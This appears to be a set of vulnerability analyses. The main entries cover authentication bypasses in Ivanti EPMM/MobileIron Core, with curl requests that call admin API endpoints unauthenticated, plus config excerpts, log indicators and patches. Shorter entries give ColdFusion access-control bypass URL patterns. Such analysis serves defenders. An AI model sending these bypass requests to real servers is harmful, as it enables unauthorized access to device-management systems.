Update: August 8, 2023: Ivanti have indicated that CVE-2023-35082 affects all versions of Endpoint Manager Mobile (EPMM) prior to a patch released August 7, 2023. The attacker rating value for CVE-2023-35082 has been increased to reflect the new product versions affected by this vulnerability.

CVE-2023-35082 gives an attacker unauthenticated API access to a vulnerable Ivanti Endpoint Manager Mobile (EPMM) or MobileIron Core target.

An attacker can access the MobileIron Core API unauthenticated, by including /asfV3/ in the URL path, for example:

c:\> curl -k https://192.168.86.103/mifs/asfV3/api/v2/ping

This will successfully call the ping API endpoint, which is meant to require authentication from a user with admin role privileges, and the following result is returned:

{"results":{"apiVersion":2.0,"vspVersion":"VSP 11.2.0.0 Build 31 "}}

The /var/log/httpd/https-access_log log file on the appliance will show indicators of compromise for entries containing /mifs/asfV3/api/v2/in the path and a HTTP response code of 200. For example:

192.168.86.34:61736 - - 2023-07-28--15-24-51 "GET /mifs/asfV3/api/v2/ping HTTP/1.1" 200 68 "-" "curl/8.0.1" 3285
1
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

Analysis

We analyzed an older unsupported version of MobileIron Core version 11.2.0.0-31 which is vulnerable to CVE-2023-35078. The vulnerability allows for remote unauthenticated API access due to an access control bypass vulnerability.

The server leverages an Apache reverse proxy to forward requests to a Tomcat server running a Java web application which is built on top of the Spring framework. For an incoming API request, Apache will pass-through requests for /api/v2/ to /mifs/rs/api/v2/ in the “MI File Service” (mifs) web application:

  RewriteRule         ^/api/v2/(.*)$                      /mifs/rs/api/v2/$1                [PT]

The mifs web application has the following in its security.xml configuration file:

  <sec:http pattern="/aad/**" security="none" create-session="stateless"/>

  <!-- ...snip... -->

  <!-- For web service API -->
  <sec:http pattern="/rs/api/v2/**" create-session="stateless" use-expressions="false" disable-url-rewriting="false">
    <sec:http-basic/>
    <sec:csrf disabled="true"/>
  </sec:http>

This enforces HTTP Basic authentication on API requests. We can note that requests to the url pattern "/aad/**" are set to security="none", which disables the security filter chain for the request, if the request is handled. As this appears before the security filter for the API paths, it appears a subtle vulnerability is then introduced by how the Azure Active Directory (aaddispatcher) servlet handles requests. The web application’s web.xml file contains a servlet mapping that will process all requests that match the URL pattern "/aad/*" (which will be "/mifs/aad/*" before it is passed to the Tomcat server):

  <servlet>
    <servlet-name>aaddispatcher</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>
        WEB-INF/aadenrollment-servlet.xml
      </param-value>
    </init-param>
    <load-on-startup>101</load-on-startup>
  </servlet>

  <servlet-mapping>
    <servlet-name>aaddispatcher</servlet-name>
    <url-pattern>/aad/*</url-pattern>
  </servlet-mapping>

If an attacker sends a request to an API endpoint such as /mifs/aad/api/v2/ping, then the API can be called successfully without authentication.

It appears that the aaddispatcher servlet processes the request, which disables the security filter chain from processing any more filters and no authentication is performed. For reasons currently unknown, the request is then serviced by the servlet that handles API requests (CXFServlet).

For example, if an attacker attempts to access the endpoint /api/v2/ping unauthenticated, the request fails with a 401 unauthorized response.

C:\>curl -k https://192.168.86.103/api/v2/ping
{"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.http.401","localizedMessage":"Unauthorized"}]}

However if an attacker attempts to access the endpoint /mifs/aad/api/v2/ping the request succeeds.

C:\>curl -k https://192.168.86.103/mifs/aad/api/v2/ping
{"results":{"apiVersion":2.0,"vspVersion":"VSP 11.2.0.0 Build 31 "}}

Indicators of Compromise

The following indicators of compromise are present in the Apache HTTP logs stored on the appliance.

The log file /var/log/httpd/https-access_log will have an entry showing a request to a targeted API endpoint, containing /mifs/aad/api/v2/ in the path and showing a HTTP response code of 200. Blocked exploitation attempts will show a HTTP response code of either 401 or 403. For example:

192.168.86.34:58482 - - 2023-07-27--13-01-39 "GET /mifs/aad/api/v2/ping HTTP/1.1" 200 68 "-" "curl/8.0.1" 2509

Remediation

Ivanti has released the following patches to address the issue:

  • 11.10.0.2
  • 11.9.1.1
  • 11.8.1.1

Product versions no longer receiving support are also affected, and Ivanti has released a workaround as part of their response.

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very High
Technical Analysis

As per the Rapid7 advisory, an access control bypass vulnerability previously patched by Adobe, CVE-2023-29298, was incomplete and an attacker could still bypass the access control by specifying a URL with an unexpected double dot sequence, such as /hax/..CFIDE/wizards/common/utils.cfc. The new patch bypass vulnerability was designated CVE-2023-38205.

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very High
Technical Analysis

As per the Rapid7 advisory, this vulnerability allows an attacker to bypass an access control feature designed to permit access to the ColdFusion Administrator endpoints on a ColdFusion web server based on the requesting IP address. When a request originates from an external IP address that is not present in the access controls allow list, access to the requested resource is blocked. At attacker can construct a URL whose path contains an unexpected forward slash, such as //CFIDE/wizards/common/utils.cfc and the resource can be accessed regardless of the requests IP address.

This vulnerability is particularly useful to an attacker as it can be chained with existing RCE vulnerabilities that require targeting CFC of CFRM endpoints ion the ColdFusion administrator, such as CVE-2023-26360 or CVE-2023-38203.